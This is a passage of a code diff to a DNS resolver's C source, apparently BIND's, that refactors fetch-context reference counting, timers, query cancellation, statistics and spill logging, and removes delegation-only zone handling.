 fctx_try(fetchctx_t *fctx, bool retrying, bool badcache);
-static isc_result_t
+static void
+fctx_shutdown(fetchctx_t *fctx);
+static void
 fctx_minimize_qname(fetchctx_t *fctx);
 static void
 fctx_destroy(fetchctx_t *fctx);
-static bool
-fctx_unlink(fetchctx_t *fctx);
 static isc_result_t
 ncache_adderesult(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 		  dns_rdatatype_t covers, isc_stdtime_t now, dns_ttl_t minttl,
 		  dns_ttl_t maxttl, bool optout, bool secure,
 		  dns_rdataset_t *ardataset, isc_result_t *eresultp);
 static void
-validated(isc_task_t *task, isc_event_t *event);
-static bool
-maybe_destroy(fetchctx_t *fctx, bool locked);
+validated(void *arg);
+static void
+maybe_cancel_validators(fetchctx_t *fctx);
 static void
 add_bad(fetchctx_t *fctx, dns_message_t *rmessage, dns_adbaddrinfo_t *addrinfo,
 	isc_result_t reason, badnstype_t badtype);
-static inline isc_result_t
+static isc_result_t
 findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 	    dns_rdatatype_t type, dns_name_t **noqname);
-static void
-fctx_increference(fetchctx_t *fctx);
+
+#define fctx_done_detach(fctxp, result)                                 \
+	if (fctx__done(*fctxp, result, __func__, __FILE__, __LINE__)) { \
+		fetchctx_detach(fctxp);                                 \
+	}
+
+#define fctx_done_unref(fctx, result)                                 \
+	if (fctx__done(fctx, result, __func__, __FILE__, __LINE__)) { \
+		fetchctx_unref(fctx);                                 \
+	}
+
+#if DNS_RESOLVER_TRACE
+#define fetchctx_ref(ptr)   fetchctx__ref(ptr, __func__, __FILE__, __LINE__)
+#define fetchctx_unref(ptr) fetchctx__unref(ptr, __func__, __FILE__, __LINE__)
+#define fetchctx_attach(ptr, ptrp) \
+	fetchctx__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define fetchctx_detach(ptrp) \
+	fetchctx__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(fetchctx);
+#else
+ISC_REFCOUNT_DECL(fetchctx);
+#endif
+
 static bool
-fctx_decreference(fetchctx_t *fctx);
+fctx__done(fetchctx_t *fctx, isc_result_t result, const char *func,
+	   const char *file, unsigned int line);
+
+static void
+resume_qmin(void *arg);
+
+static isc_result_t
+get_attached_fctx(dns_resolver_t *res, isc_loop_t *loop, const dns_name_t *name,
+		  dns_rdatatype_t type, const dns_name_t *domain,
+		  dns_rdataset_t *nameservers, const isc_sockaddr_t *client,
+		  unsigned int options, unsigned int depth, isc_counter_t *qc,
+		  fetchctx_t **fctxp, bool *new_fctx);
 static void
-resume_qmin(isc_task_t *task, isc_event_t *event);
+release_fctx(fetchctx_t *fctx);
 
 /*%
  * The structure and functions defined below implement the resolver
@@ -667,7 +727,6 @@ resume_qmin(isc_task_t *task, isc_event_t *event);
  *    - Check the parsed response for an OPT record and handle
  *      EDNS (rctx_opt(), rctx_edns()).
  *    - Check for a bad or lame server (rctx_badserver(), rctx_lameserver()).
- *    - Handle delegation-only zones (rctx_delonly_zone()).
  *    - If RCODE and ANCOUNT suggest this is a positive answer, and
  *      if so, call rctx_answer(): go to step 2.
  *    - If RCODE and NSCOUNT suggest this is a negative answer or a
@@ -716,11 +775,10 @@ resume_qmin(isc_task_t *task, isc_event_t *event);
  */
 
 typedef struct respctx {
-	isc_task_t *task;
-	dns_dispatchevent_t *devent;
 	resquery_t *query;
 	fetchctx_t *fctx;
 	isc_result_t result;
+	isc_buffer_t buffer;
 	unsigned int retryopts; /* updated options to pass to
 				 * fctx_query() when resending */
 
@@ -782,8 +840,8 @@ typedef struct respctx {
 } respctx_t;
 
 static void
-rctx_respinit(isc_task_t *task, dns_dispatchevent_t *devent, resquery_t *query,
-	      fetchctx_t *fctx, respctx_t *rctx);
+rctx_respinit(resquery_t *query, fetchctx_t *fctx, isc_result_t result,
+	      isc_region_t *region, respctx_t *rctx);
 
 static void
 rctx_answer_init(respctx_t *rctx);
@@ -831,7 +889,7 @@ rctx_nextserver(respctx_t *rctx, dns_message_t *message,
 static void
 rctx_resend(respctx_t *rctx, dns_adbaddrinfo_t *addrinfo);
 
-static void
+static isc_result_t
 rctx_next(respctx_t *rctx);
 
 static void
@@ -865,8 +923,8 @@ rctx_lameserver(respctx_t *rctx);
 static isc_result_t
 rctx_dispfail(respctx_t *rctx);
 
-static void
-rctx_delonly_zone(respctx_t *rctx);
+static isc_result_t
+rctx_timedout(respctx_t *rctx);
 
 static void
 rctx_ncache(respctx_t *rctx);
@@ -874,35 +932,41 @@ rctx_ncache(respctx_t *rctx);
 /*%
  * Increment resolver-related statistics counters.
  */
-static inline void
+static void
 inc_stats(dns_resolver_t *res, isc_statscounter_t counter) {
-	if (res->view->resstats != NULL) {
-		isc_stats_increment(res->view->resstats, counter);
+	if (res->stats != NULL) {
+		isc_stats_increment(res->stats, counter);
 	}
 }
 
-static inline void
+static void
 dec_stats(dns_resolver_t *res, isc_statscounter_t counter) {
-	if (res->view->resstats != NULL) {
-		isc_stats_decrement(res->view->resstats, counter);
+	if (res->stats != NULL) {
+		isc_stats_decrement(res->stats, counter);
+	}
+}
+
+static void
+set_stats(dns_resolver_t *res, isc_statscounter_t counter, uint64_t val) {
+	if (res->stats != NULL) {
+		isc_stats_set(res->stats, val, counter);
 	}
 }
 
 static isc_result_t
 valcreate(fetchctx_t *fctx, dns_message_t *message, dns_adbaddrinfo_t *addrinfo,
 	  dns_name_t *name, dns_rdatatype_t type, dns_rdataset_t *rdataset,
-	  dns_rdataset_t *sigrdataset, unsigned int valoptions,
-	  isc_task_t *task) {
+	  dns_rdataset_t *sigrdataset, unsigned int valoptions) {
 	dns_validator_t *validator = NULL;
-	dns_valarg_t *valarg;
+	dns_valarg_t *valarg = NULL;
 	isc_result_t result;
 
 	valarg = isc_mem_get(fctx->mctx, sizeof(*valarg));
+	*valarg = (dns_valarg_t){
+		.addrinfo = addrinfo,
+	};
 
-	valarg->fctx = fctx;
-	valarg->addrinfo = addrinfo;
-	valarg->message = NULL;
-	dns_message_attach(message, &valarg->message);
+	fetchctx_attach(fctx, &valarg->fctx);
 
 	if (!ISC_LIST_EMPTY(fctx->validators)) {
 		valoptions |= DNS_VALIDATOR_DEFER;
@@ -910,330 +974,66 @@ valcreate(fetchctx_t *fctx, dns_message_t *message, dns_adbaddrinfo_t *addrinfo,
 		valoptions &= ~DNS_VALIDATOR_DEFER;
 	}
 
-	result = dns_validator_create(fctx->res->view, name, type, rdataset,
-				      sigrdataset, message, valoptions, task,
-				      validated, valarg, &validator);
-	if (result == ISC_R_SUCCESS) {
-		inc_stats(fctx->res, dns_resstatscounter_val);
-		if ((valoptions & DNS_VALIDATOR_DEFER) == 0) {
-			INSIST(fctx->validator == NULL);
-			fctx->validator = validator;
-		}
-		ISC_LIST_APPEND(fctx->validators, validator, link);
-	} else {
-		dns_message_detach(&valarg->message);
-		isc_mem_put(fctx->mctx, valarg, sizeof(*valarg));
-	}
-	return (result);
-}
-
-static bool
-rrsig_fromchildzone(fetchctx_t *fctx, dns_rdataset_t *rdataset) {
-	dns_namereln_t namereln;
-	dns_rdata_rrsig_t rrsig;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	int order;
-	isc_result_t result;
-	unsigned int labels;
-
-	for (result = dns_rdataset_first(rdataset); result == ISC_R_SUCCESS;
-	     result = dns_rdataset_next(rdataset))
-	{
-		dns_rdataset_current(rdataset, &rdata);
-		result = dns_rdata_tostruct(&rdata, &rrsig, NULL);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		namereln = dns_name_fullcompare(&rrsig.signer, &fctx->domain,
-						&order, &labels);
-		if (namereln == dns_namereln_subdomain) {
-			return (true);
-		}
-		dns_rdata_reset(&rdata);
+	result = dns_validator_create(
+		fctx->res->view, name, type, rdataset, sigrdataset, message,
+		valoptions, fctx->loop, validated, valarg, &validator);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	inc_stats(fctx->res, dns_resstatscounter_val);
+	if ((valoptions & DNS_VALIDATOR_DEFER) == 0) {
+		INSIST(fctx->validator == NULL);
+		fctx->validator = validator;
 	}
-	return (false);
+	ISC_LIST_APPEND(fctx->validators, validator, link);
+	return (ISC_R_SUCCESS);
 }
 
-static bool
-fix_mustbedelegationornxdomain(dns_message_t *message, fetchctx_t *fctx) {
-	dns_name_t *name;
-	dns_name_t *domain = &fctx->domain;
-	dns_rdataset_t *rdataset;
-	dns_rdatatype_t type;
-	isc_result_t result;
-	bool keep_auth = false;
-
-	if (message->rcode == dns_rcode_nxdomain) {
-		return (false);
-	}
-
-	/*
-	 * A DS RRset can appear anywhere in a zone, even for a delegation-only
-	 * zone.  So a response to an explicit query for this type should be
-	 * excluded from delegation-only fixup.
-	 *
-	 * SOA, NS, and DNSKEY can only exist at a zone apex, so a positive
-	 * response to a query for these types can never violate the
-	 * delegation-only assumption: if the query name is below a
-	 * zone cut, the response should normally be a referral, which should
-	 * be accepted; if the query name is below a zone cut but the server
-	 * happens to have authority for the zone of the query name, the
-	 * response is a (non-referral) answer.  But this does not violate
-	 * delegation-only because the query name must be in a different zone
-	 * due to the "apex-only" nature of these types.  Note that if the
-	 * remote server happens to have authority for a child zone of a
-	 * delegation-only zone, we may still incorrectly "fix" the response
-	 * with NXDOMAIN for queries for other types.  Unfortunately it's
-	 * generally impossible to differentiate this case from violation of
-	 * the delegation-only assumption.  Once the resolver learns the
-	 * correct zone cut, possibly via a separate query for an "apex-only"
-	 * type, queries for other types will be resolved correctly.
-	 *
-	 * A query for type ANY will be accepted if it hits an exceptional
-	 * type above in the answer section as it should be from a child
-	 * zone.
-	 *
-	 * Also accept answers with RRSIG records from the child zone.
-	 * Direct queries for RRSIG records should not be answered from
-	 * the parent zone.
-	 */
-
-	if (message->counts[DNS_SECTION_ANSWER] != 0 &&
-	    (fctx->type == dns_rdatatype_ns || fctx->type == dns_rdatatype_ds ||
-	     fctx->type == dns_rdatatype_soa ||
-	     fctx->type == dns_rdatatype_any ||
-	     fctx->type == dns_rdatatype_rrsig ||
-	     fctx->type == dns_rdatatype_dnskey))
-	{
-		result = dns_message_firstname(message, DNS_SECTION_ANSWER);
-		while (result == ISC_R_SUCCESS) {
-			name = NULL;
-			dns_message_currentname(message, DNS_SECTION_ANSWER,
-						&name);
-			for (rdataset = ISC_LIST_HEAD(name->list);
-			     rdataset != NULL;
-			     rdataset = ISC_LIST_NEXT(rdataset, link))
-			{
-				if (!dns_name_equal(name, &fctx->name)) {
-					continue;
-				}
-				type = rdataset->type;
-				/*
-				 * RRsig from child?
-				 */
-				if (type == dns_rdatatype_rrsig &&
-				    rrsig_fromchildzone(fctx, rdataset)) {
-					return (false);
-				}
-				/*
-				 * Direct query for apex records or DS.
-				 */
-				if (fctx->type == type &&
-				    (type == dns_rdatatype_ds ||
-				     type == dns_rdatatype_ns ||
-				     type == dns_rdatatype_soa ||
-				     type == dns_rdatatype_dnskey))
-				{
-					return (false);
-				}
-				/*
-				 * Indirect query for apex records or DS.
-				 */
-				if (fctx->type == dns_rdatatype_any &&
-				    (type == dns_rdatatype_ns ||
-				     type == dns_rdatatype_ds ||
-				     type == dns_rdatatype_soa ||
-				     type == dns_rdatatype_dnskey))
-				{
-					return (false);
-				}
-			}
-			result = dns_message_nextname(message,
-						      DNS_SECTION_ANSWER);
-		}
-	}
+static void
+resquery_destroy(resquery_t *query) {
+	fetchctx_t *fctx = query->fctx;
 
-	/*
-	 * A NODATA response to a DS query?
-	 */
-	if (fctx->type == dns_rdatatype_ds &&
-	    message->counts[DNS_SECTION_ANSWER] == 0) {
-		return (false);
-	}
+	query->magic = 0;
 
-	/* Look for referral or indication of answer from child zone? */
-	if (message->counts[DNS_SECTION_AUTHORITY] == 0) {
-		goto munge;
+	if (ISC_LINK_LINKED(query, link)) {
+		ISC_LIST_UNLINK(fctx->queries, query, link);
 	}
 
-	result = dns_message_firstname(message, DNS_SECTION_AUTHORITY);
-	while (result == ISC_R_SUCCESS) {
-		name = NULL;
-		dns_message_currentname(message, DNS_SECTION_AUTHORITY, &name);
-		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
-		     rdataset = ISC_LIST_NEXT(rdataset, link))
-		{
-			type = rdataset->type;
-			if (type == dns_rdatatype_soa &&
-			    dns_name_equal(name, domain)) {
-				keep_auth = true;
-			}
-
-			if (type != dns_rdatatype_ns &&
-			    type != dns_rdatatype_soa &&
-			    type != dns_rdatatype_rrsig)
-			{
-				continue;
-			}
-
-			if (type == dns_rdatatype_rrsig) {
-				if (rrsig_fromchildzone(fctx, rdataset)) {
-					return (false);
-				} else {
-					continue;
-				}
-			}
-
-			/* NS or SOA records. */
-			if (dns_name_equal(name, domain)) {
-				/*
-				 * If a query for ANY causes a negative
-				 * response, we can be sure that this is
-				 * an empty node.  For other type of queries
-				 * we cannot differentiate an empty node
-				 * from a node that just doesn't have that
-				 * type of record.  We only accept the former
-				 * case.
-				 */
-				if (message->counts[DNS_SECTION_ANSWER] == 0 &&
-				    fctx->type == dns_rdatatype_any) {
-					return (false);
-				}
-			} else if (dns_name_issubdomain(name, domain)) {
-				/* Referral or answer from child zone. */
-				return (false);
-			}
-		}
-		result = dns_message_nextname(message, DNS_SECTION_AUTHORITY);
+	if (query->tsig != NULL) {
+		isc_buffer_free(&query->tsig);
 	}
 
-munge:
-	message->rcode = dns_rcode_nxdomain;
-	message->counts[DNS_SECTION_ANSWER] = 0;
-	if (!keep_auth) {
-		message->counts[DNS_SECTION_AUTHORITY] = 0;
+	if (query->tsigkey != NULL) {
+		dns_tsigkey_detach(&query->tsigkey);
 	}
-	message->counts[DNS_SECTION_ADDITIONAL] = 0;
-	return (true);
-}
-
-static inline isc_result_t
-fctx_starttimer(fetchctx_t *fctx) {
-	/*
-	 * Start the lifetime timer for fctx.
-	 *
-	 * This is also used for stopping the idle timer; in that
-	 * case we must purge events already posted to ensure that
-	 * no further idle events are delivered.
-	 */
-	return (isc_timer_reset(fctx->timer, isc_timertype_once, &fctx->expires,
-				NULL, true));
-}
-
-static inline isc_result_t
-fctx_starttimer_trystale(fetchctx_t *fctx) {
-	/*
-	 * Start the stale-answer-client-timeout timer for fctx.
-	 */
 
-	return (isc_timer_reset(fctx->timer_try_stale, isc_timertype_once,
-				&fctx->expires_try_stale, NULL, true));
-}
-
-static inline void
-fctx_stoptimer(fetchctx_t *fctx) {
-	isc_result_t result;
-
-	/*
-	 * We don't return a result if resetting the timer to inactive fails
-	 * since there's nothing to be done about it.  Resetting to inactive
-	 * should never fail anyway, since the code as currently written
-	 * cannot fail in that case.
-	 */
-	result = isc_timer_reset(fctx->timer, isc_timertype_inactive, NULL,
-				 NULL, true);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "isc_timer_reset(): %s",
-				 isc_result_totext(result));
+	if (query->dispentry != NULL) {
+		dns_dispatch_done(&query->dispentry);
 	}
-}
-
-static inline void
-fctx_stoptimer_trystale(fetchctx_t *fctx) {
-	isc_result_t result;
 
-	if (fctx->timer_try_stale != NULL) {
-		result = isc_timer_reset(fctx->timer_try_stale,
-					 isc_timertype_inactive, NULL, NULL,
-					 true);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_timer_reset(): %s",
-					 isc_result_totext(result));
-		}
+	if (query->dispatch != NULL) {
+		dns_dispatch_detach(&query->dispatch);
 	}
-}
-
-static inline isc_result_t
-fctx_startidletimer(fetchctx_t *fctx, isc_interval_t *interval) {
-	/*
-	 * Start the idle timer for fctx.  The lifetime timer continues
-	 * to be in effect.
-	 */
-	return (isc_timer_reset(fctx->timer, isc_timertype_once, &fctx->expires,
-				interval, false));
-}
-
-/*
- * Stopping the idle timer is equivalent to calling fctx_starttimer(), but
- * we use fctx_stopidletimer for readability in the code below.
- */
-#define fctx_stopidletimer fctx_starttimer
-
-static inline void
-resquery_destroy(resquery_t **queryp) {
-	dns_resolver_t *res;
-	bool empty;
-	resquery_t *query;
-	fetchctx_t *fctx;
-	unsigned int bucket;
-
-	REQUIRE(queryp != NULL);
-	query = *queryp;
-	*queryp = NULL;
-	REQUIRE(!ISC_LINK_LINKED(query, link));
-
-	INSIST(query->tcpsocket == NULL);
 
-	fctx = query->fctx;
-	res = fctx->res;
-	bucket = fctx->bucketnum;
+	isc_refcount_destroy(&query->references);
 
-	LOCK(&res->buckets[bucket].lock);
-	fctx->nqueries--;
-	empty = fctx_decreference(query->fctx);
-	UNLOCK(&res->buckets[bucket].lock);
+	LOCK(&fctx->lock);
+	atomic_fetch_sub_release(&fctx->nqueries, 1);
+	UNLOCK(&fctx->lock);
 
 	if (query->rmessage != NULL) {
 		dns_message_detach(&query->rmessage);
 	}
 
-	query->magic = 0;
-	isc_mem_put(query->mctx, query, sizeof(*query));
+	isc_mem_put(fctx->mctx, query, sizeof(*query));
 
-	if (empty) {
-		empty_bucket(res);
-	}
+	fetchctx_detach(&fctx);
 }
 
+#if DNS_RESOLVER_TRACE
+ISC_REFCOUNT_TRACE_IMPL(resquery, resquery_destroy);
+#else
+ISC_REFCOUNT_IMPL(resquery, resquery_destroy);
+#endif
+
 /*%
  * Update EDNS statistics for a server after not getting a response to a UDP
  * query sent to it.
@@ -1254,23 +1054,56 @@ update_edns_stats(resquery_t *query) {
 }
 
 static void
-fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
-		 isc_time_t *finish, bool no_response, bool age_untried) {
-	fetchctx_t *fctx;
-	resquery_t *query;
-	unsigned int rtt, rttms;
-	unsigned int factor;
-	dns_adbfind_t *find;
-	dns_adbaddrinfo_t *addrinfo;
-	isc_socket_t *sock;
-	isc_stdtime_t now;
-
-	query = *queryp;
-	fctx = query->fctx;
-
-	FCTXTRACE("cancelquery");
-
-	REQUIRE(!RESQUERY_CANCELED(query));
+fctx_expired(void *arg);
+
+/*
+ * Start the maximum lifetime timer for the fetch. This will
+ * trigger if, for example, some ADB or validator dependency
+ * loop occurs and causes a fetch to hang.
+ */
+static void
+fctx_starttimer(fetchctx_t *fctx) {
+	isc_interval_t interval;
+	isc_time_t now;
+	isc_time_t expires;
+
+	isc_interval_set(&interval, 2, 0);
+	isc_time_add(&fctx->expires, &interval, &expires);
+
+	now = isc_time_now();
+	if (isc_time_compare(&expires, &now) <= 0) {
+		isc_interval_set(&interval, 0, 1);
+	} else {
+		isc_time_subtract(&expires, &now, &interval);
+	}
+
+	isc_timer_start(fctx->timer, isc_timertype_once, &interval);
+}
+
+static void
+fctx_stoptimer(fetchctx_t *fctx) {
+	isc_timer_stop(fctx->timer);
+}
+
+static void
+fctx_cancelquery(resquery_t **queryp, isc_time_t *finish, bool no_response,
+		 bool age_untried) {
+	resquery_t *query = NULL;
+	fetchctx_t *fctx = NULL;
+	dns_adbfind_t *find = NULL;
+	dns_adbaddrinfo_t *addrinfo;
+	isc_stdtime_t now = isc_stdtime_now();
+
+	REQUIRE(queryp != NULL);
+
+	query = *queryp;
+	fctx = query->fctx;
+
+	if (RESQUERY_CANCELED(query)) {
+		return;
+	}
+
+	FCTXTRACE("cancelquery");
 
 	query->attributes |= RESQUERY_ATTR_CANCELED;
 
@@ -1278,16 +1111,19 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 	 * Should we update the RTT?
 	 */
 	if (finish != NULL || no_response) {
+		unsigned int rtt, factor;
 		if (finish != NULL) {
 			/*
 			 * We have both the start and finish times for this
 			 * packet, so we can compute a real RTT.
 			 */
+			unsigned int rttms;
+
 			rtt = (unsigned int)isc_time_microdiff(finish,
 							       &query->start);
+			rttms = rtt / US_PER_MS;
 			factor = DNS_ADB_RTTADJDEFAULT;
 
-			rttms = rtt / 1000;
 			if (rttms < DNS_RESOLVER_QRYRTTCLASS0) {
 				inc_stats(fctx->res,
 					  dns_resstatscounter_queryrtt0);
@@ -1319,7 +1155,8 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 			 * context.
 			 */
 			if (fctx->fwdpolicy == dns_fwdpolicy_first &&
-			    ISFORWARDER(query->addrinfo)) {
+			    ISFORWARDER(query->addrinfo))
+			{
 				add_bad(fctx, query->rmessage, query->addrinfo,
 					ISC_R_TIMEDOUT, badns_forwarder);
 			}
@@ -1352,7 +1189,8 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 			 * seen a EDNS response.
 			 */
 			if ((query->options & DNS_FETCHOPT_NOEDNS0) == 0 &&
-			    !EDNSOK(query->addrinfo)) {
+			    !EDNSOK(query->addrinfo))
+			{
 				mask >>= 2;
 			}
 
@@ -1369,6 +1207,7 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 
 		dns_adb_adjustsrtt(fctx->adb, query->addrinfo, rtt, factor);
 	}
+
 	if ((query->options & DNS_FETCHOPT_TCP) == 0) {
 		/* Inform the ADB that we're ending a UDP fetch */
 		dns_adb_endudpfetch(fctx->adb, query->addrinfo);
@@ -1377,7 +1216,6 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 	/*
 	 * Age RTTs of servers not tried.
 	 */
-	isc_stdtime_get(&now);
 	if (finish != NULL || age_untried) {
 		for (addrinfo = ISC_LIST_HEAD(fctx->forwaddrs);
 		     addrinfo != NULL;
@@ -1429,83 +1267,26 @@ fctx_cancelquery(resquery_t **queryp, dns_dispatchevent_t **deventp,
 	}
 
 	/*
-	 * Check for any outstanding socket events.  If they exist, cancel
-	 * them and let the event handlers finish the cleanup.  The resolver
-	 * only needs to worry about managing the connect and send events;
-	 * the dispatcher manages the recv events.
+	 * Check for any outstanding dispatch responses and if they
+	 * exist, cancel them.
 	 */
-	if (RESQUERY_CONNECTING(query)) {
-		/*
-		 * Cancel the connect.
-		 */
-		if (query->tcpsocket != NULL) {
-			isc_socket_cancel(query->tcpsocket, NULL,
-					  ISC_SOCKCANCEL_CONNECT);
-		} else if (query->dispentry != NULL) {
-			INSIST(query->exclusivesocket);
-			sock = dns_dispatch_getentrysocket(query->dispentry);
-			if (sock != NULL) {
-				isc_socket_cancel(sock, NULL,
-						  ISC_SOCKCANCEL_CONNECT);
-			}
-		}
-	}
-	if (RESQUERY_SENDING(query)) {
-		/*
-		 * Cancel the pending send.
-		 */
-		if (query->exclusivesocket && query->dispentry != NULL) {
-			sock = dns_dispatch_getentrysocket(query->dispentry);
-		} else {
-			sock = dns_dispatch_getsocket(query->dispatch);
-		}
-		if (sock != NULL) {
-			isc_socket_cancel(sock, NULL, ISC_SOCKCANCEL_SEND);
-		}
-	}
-
 	if (query->dispentry != NULL) {
-		dns_dispatch_removeresponse(&query->dispentry, deventp);
-	}
-
-	ISC_LIST_UNLINK(fctx->queries, query, link);
-
-	if (query->tsig != NULL) {
-		isc_buffer_free(&query->tsig);
-	}
-
-	if (query->tsigkey != NULL) {
-		dns_tsigkey_detach(&query->tsigkey);
-	}
-
-	if (query->dispatch != NULL) {
-		dns_dispatch_detach(&query->dispatch);
+		dns_dispatch_done(&query->dispentry);
 	}
 
-	if (!(RESQUERY_CONNECTING(query) || RESQUERY_SENDING(query))) {
-		/*
-		 * It's safe to destroy the query now.
-		 */
-		resquery_destroy(&query);
+	LOCK(&fctx->lock);
+	if (ISC_LINK_LINKED(query, link)) {
+		ISC_LIST_UNLINK(fctx->queries, query, link);
 	}
-}
-
-static void
-fctx_cancelqueries(fetchctx_t *fctx, bool no_response, bool age_untried) {
-	resquery_t *query, *next_query;
+	UNLOCK(&fctx->lock);
 
-	FCTXTRACE("cancelqueries");
-
-	for (query = ISC_LIST_HEAD(fctx->queries); query != NULL;
-	     query = next_query) {
-		next_query = ISC_LIST_NEXT(query, link);
-		fctx_cancelquery(&query, NULL, NULL, no_response, age_untried);
-	}
+	resquery_detach(queryp);
 }
 
 static void
-fctx_cleanupfinds(fetchctx_t *fctx) {
-	dns_adbfind_t *find, *next_find;
+fctx_cleanup(fetchctx_t *fctx) {
+	dns_adbfind_t *find = NULL, *next_find = NULL;
+	dns_adbaddrinfo_t *addr = NULL, *next_addr = NULL;
 
 	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
 
@@ -1514,71 +1295,70 @@ fctx_cleanupfinds(fetchctx_t *fctx) {
 		next_find = ISC_LIST_NEXT(find, publink);
 		ISC_LIST_UNLINK(fctx->finds, find, publink);
 		dns_adb_destroyfind(&find);
+		fetchctx_unref(fctx);
 	}
 	fctx->find = NULL;
-}
-
-static void
-fctx_cleanupaltfinds(fetchctx_t *fctx) {
-	dns_adbfind_t *find, *next_find;
-
-	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
 
 	for (find = ISC_LIST_HEAD(fctx->altfinds); find != NULL;
-	     find = next_find) {
+	     find = next_find)
+	{
 		next_find = ISC_LIST_NEXT(find, publink);
 		ISC_LIST_UNLINK(fctx->altfinds, find, publink);
 		dns_adb_destroyfind(&find);
+		fetchctx_unref(fctx);
 	}
 	fctx->altfind = NULL;
-}
-
-static void
-fctx_cleanupforwaddrs(fetchctx_t *fctx) {
-	dns_adbaddrinfo_t *addr, *next_addr;
-
-	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
 
 	for (addr = ISC_LIST_HEAD(fctx->forwaddrs); addr != NULL;
-	     addr = next_addr) {
+	     addr = next_addr)
+	{
 		next_addr = ISC_LIST_NEXT(addr, publink);
 		ISC_LIST_UNLINK(fctx->forwaddrs, addr, publink);
 		dns_adb_freeaddrinfo(fctx->adb, &addr);
 	}
-}
-
-static void
-fctx_cleanupaltaddrs(fetchctx_t *fctx) {
-	dns_adbaddrinfo_t *addr, *next_addr;
-
-	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
 
 	for (addr = ISC_LIST_HEAD(fctx->altaddrs); addr != NULL;
-	     addr = next_addr) {
+	     addr = next_addr)
+	{
 		next_addr = ISC_LIST_NEXT(addr, publink);
 		ISC_LIST_UNLINK(fctx->altaddrs, addr, publink);
 		dns_adb_freeaddrinfo(fctx->adb, &addr);
 	}
 }
 
-static inline void
-fctx_stopqueries(fetchctx_t *fctx, bool no_response, bool age_untried) {
-	FCTXTRACE("stopqueries");
-	fctx_cancelqueries(fctx, no_response, age_untried);
-	fctx_stoptimer(fctx);
-	fctx_stoptimer_trystale(fctx);
-}
+static void
+fctx_cancelqueries(fetchctx_t *fctx, bool no_response, bool age_untried) {
+	resquery_t *query = NULL, *next_query = NULL;
+	ISC_LIST(resquery_t) queries;
 
-static inline void
-fctx_cleanupall(fetchctx_t *fctx) {
-	fctx_cleanupfinds(fctx);
-	fctx_cleanupaltfinds(fctx);
-	fctx_cleanupforwaddrs(fctx);
-	fctx_cleanupaltaddrs(fctx);
+	FCTXTRACE("cancelqueries");
+
+	ISC_LIST_INIT(queries);
+
+	/*
+	 * Move the queries to a local list so we can cancel
+	 * them without holding the lock.
+	 */
+	LOCK(&fctx->lock);
+	ISC_LIST_MOVE(queries, fctx->queries);
+	UNLOCK(&fctx->lock);
+
+	for (query = ISC_LIST_HEAD(queries); query != NULL; query = next_query)
+	{
+		next_query = ISC_LIST_NEXT(query, link);
+
+		/*
+		 * Note that we have to unlink the query here,
+		 * because if it's still linked in fctx_cancelquery(),
+		 * then it will try to unlink it from fctx->queries.
+		 */
+		ISC_LIST_UNLINK(queries, query, link);
+		fctx_cancelquery(&query, NULL, no_response, age_untried);
+	}
 }
 
 static void
-fcount_logspill(fetchctx_t *fctx, fctxcount_t *counter) {
+fcount_logspill(fetchctx_t *fctx, fctxcount_t *counter, bool final) {
 	char dbuf[DNS_NAME_FORMATSIZE];
 	isc_stdtime_t now;
 
@@ -1586,18 +1366,37 @@ fcount_logspill(fetchctx_t *fctx, fctxcount_t *counter) {
 		return;
 	}
 
-	isc_stdtime_get(&now);
-	if (counter->logged > now - 60) {
+	/* Do not log a message if there were no dropped fetches. */
+	if (counter->dropped == 0) {
 		return;
 	}
 
-	dns_name_format(&fctx->domain, dbuf, sizeof(dbuf));
+	/* Do not log the cumulative message if the previous log is recent. */
+	now = isc_stdtime_now();
+	if (!final && counter->logged > now - 60) {
+		return;
+	}
 
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_SPILL, DNS_LOGMODULE_RESOLVER,
-		      ISC_LOG_INFO,
-		      "too many simultaneous fetches for %s "
-		      "(allowed %d spilled %d)",
-		      dbuf, counter->allowed, counter->dropped);
+	dns_name_format(fctx->domain, dbuf, sizeof(dbuf));
+
+	if (!final) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_SPILL,
+			      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
+			      "too many simultaneous fetches for %s "
+			      "(allowed %" PRIuFAST32 " spilled %" PRIuFAST32
+			      "; %s)",
+			      dbuf, counter->allowed, counter->dropped,
+			      counter->dropped == 1 ? "initial trigger event"
+						    : "cumulative since "
+						      "initial trigger event");
+	} else {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_SPILL,
+			      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
+			      "fetch counters for %s now being discarded "
+			      "(allowed %" PRIuFAST32 " spilled %" PRIuFAST32
+			      "; cumulative since initial trigger event)",
+			      dbuf, counter->allowed, counter->dropped);
+	}
 
 	counter->logged = now;
 }
@@ -1605,103 +1404,131 @@ fcount_logspill(fetchctx_t *fctx, fctxcount_t *counter) {
 static isc_result_t
 fcount_incr(fetchctx_t *fctx, bool force) {
 	isc_result_t result = ISC_R_SUCCESS;
-	zonebucket_t *dbucket;
-	fctxcount_t *counter;
-	unsigned int bucketnum;
+	dns_resolver_t *res = NULL;
+	fctxcount_t *counter = NULL;
+	uint32_t hashval;
+	uint_fast32_t spill;
+	isc_rwlocktype_t locktype = isc_rwlocktype_read;
 
